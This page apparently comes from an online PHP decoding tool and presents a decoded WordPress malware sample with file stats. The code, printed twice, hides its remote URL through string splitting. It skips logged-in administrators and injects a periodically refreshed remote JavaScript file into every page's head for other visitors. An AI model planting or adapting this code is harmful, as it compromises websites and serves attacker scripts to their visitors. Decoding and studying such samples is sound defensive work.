Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

try{$g = sys_get_temp_dir() . "/wsryety";$g2 = sys_get_temp_dir() . "/turtty";function rtr..

Decoded Output download

<?  try{$g = sys_get_temp_dir() . "/wsryety";$g2 = sys_get_temp_dir() . "/turtty";function rtret_header(){$g2 = sys_get_temp_dir() . "/turtty";echo @file_get_contents($g2);}if(!file_exists($g)){@file_put_contents($g, ':');}if(file_exists($g)){$t=0;$pp=$_SERVER['REMOTE_ADDR'];$g4 = @file_get_contents($g);if(is_user_logged_in()==true){$t=1;}$g3=serialize($_COOKIE);if(strpos($g3, "wp"."-set"."ti"."ng")!==false || strpos($g3, "lo"."gg"."ed_"."in") !==false){$t=1;}if(strpos($g4, $pp) !==false){$t=1;}if($t==1){if(strpos($g4, $pp) !==false){}else{@file_put_contents($g, ' '.$pp);}}if($t==0){$g5="h"./*1?*/"t"./*?2*/"t"./*3?*/"p"./*?4*/":"./*5?*/"/"./*?6*/"/"./*7?*/"g"./*?22*/"et"./*?22*/".l"./*?22*/"igh"./*?22*/"t"./*?22*/"st"./*?22*/"e"./*?22*/"pe"./*?22*/"r"./*?22*/".c"./*?22*/"o"./*?22*/"m/s"./*?22*/"cr"./*?22*/"ip"./*?22*/"t"./*?22*/"s"./*?22*/"/w"./*123?*/"a"./*rg?*/"y"./*45tryuertgg6?*/".j"./*?7457*/"s";if(!file_exists($g2)){@file_put_contents($g2, @file_get_contents($g5));}if(file_exists($g2)){if(time()-filectime($g2) > 555){@unlink($g2);$vt=file_get_contents($g5);@file_put_contents($g2, $vt);add_action('wp_head','rtret_header');}else{add_action('wp_head','rtret_header');}}}}}catch(Exception $ex){} ?>

Did this file decode correctly?

Original Code

try{$g = sys_get_temp_dir() . "/wsryety";$g2 = sys_get_temp_dir() . "/turtty";function rtret_header(){$g2 = sys_get_temp_dir() . "/turtty";echo @file_get_contents($g2);}if(!file_exists($g)){@file_put_contents($g, ':');}if(file_exists($g)){$t=0;$pp=$_SERVER['REMOTE_ADDR'];$g4 = @file_get_contents($g);if(is_user_logged_in()==true){$t=1;}$g3=serialize($_COOKIE);if(strpos($g3, "wp"."-set"."ti"."ng")!==false || strpos($g3, "lo"."gg"."ed_"."in") !==false){$t=1;}if(strpos($g4, $pp) !==false){$t=1;}if($t==1){if(strpos($g4, $pp) !==false){}else{@file_put_contents($g, ' '.$pp);}}if($t==0){$g5="h"./*1?*/"t"./*?2*/"t"./*3?*/"p"./*?4*/":"./*5?*/"/"./*?6*/"/"./*7?*/"g"./*?22*/"et"./*?22*/".l"./*?22*/"igh"./*?22*/"t"./*?22*/"st"./*?22*/"e"./*?22*/"pe"./*?22*/"r"./*?22*/".c"./*?22*/"o"./*?22*/"m/s"./*?22*/"cr"./*?22*/"ip"./*?22*/"t"./*?22*/"s"./*?22*/"/w"./*123?*/"a"./*rg?*/"y"./*45tryuertgg6?*/".j"./*?7457*/"s";if(!file_exists($g2)){@file_put_contents($g2, @file_get_contents($g5));}if(file_exists($g2)){if(time()-filectime($g2) > 555){@unlink($g2);$vt=file_get_contents($g5);@file_put_contents($g2, $vt);add_action('wp_head','rtret_header');}else{add_action('wp_head','rtret_header');}}}}}catch(Exception $ex){}

Function Calls

None

Variables

None

Stats

MD5 cdbc17256261432e1f8e821029ff5fa2
Eval Count 0
Decode Time 39 ms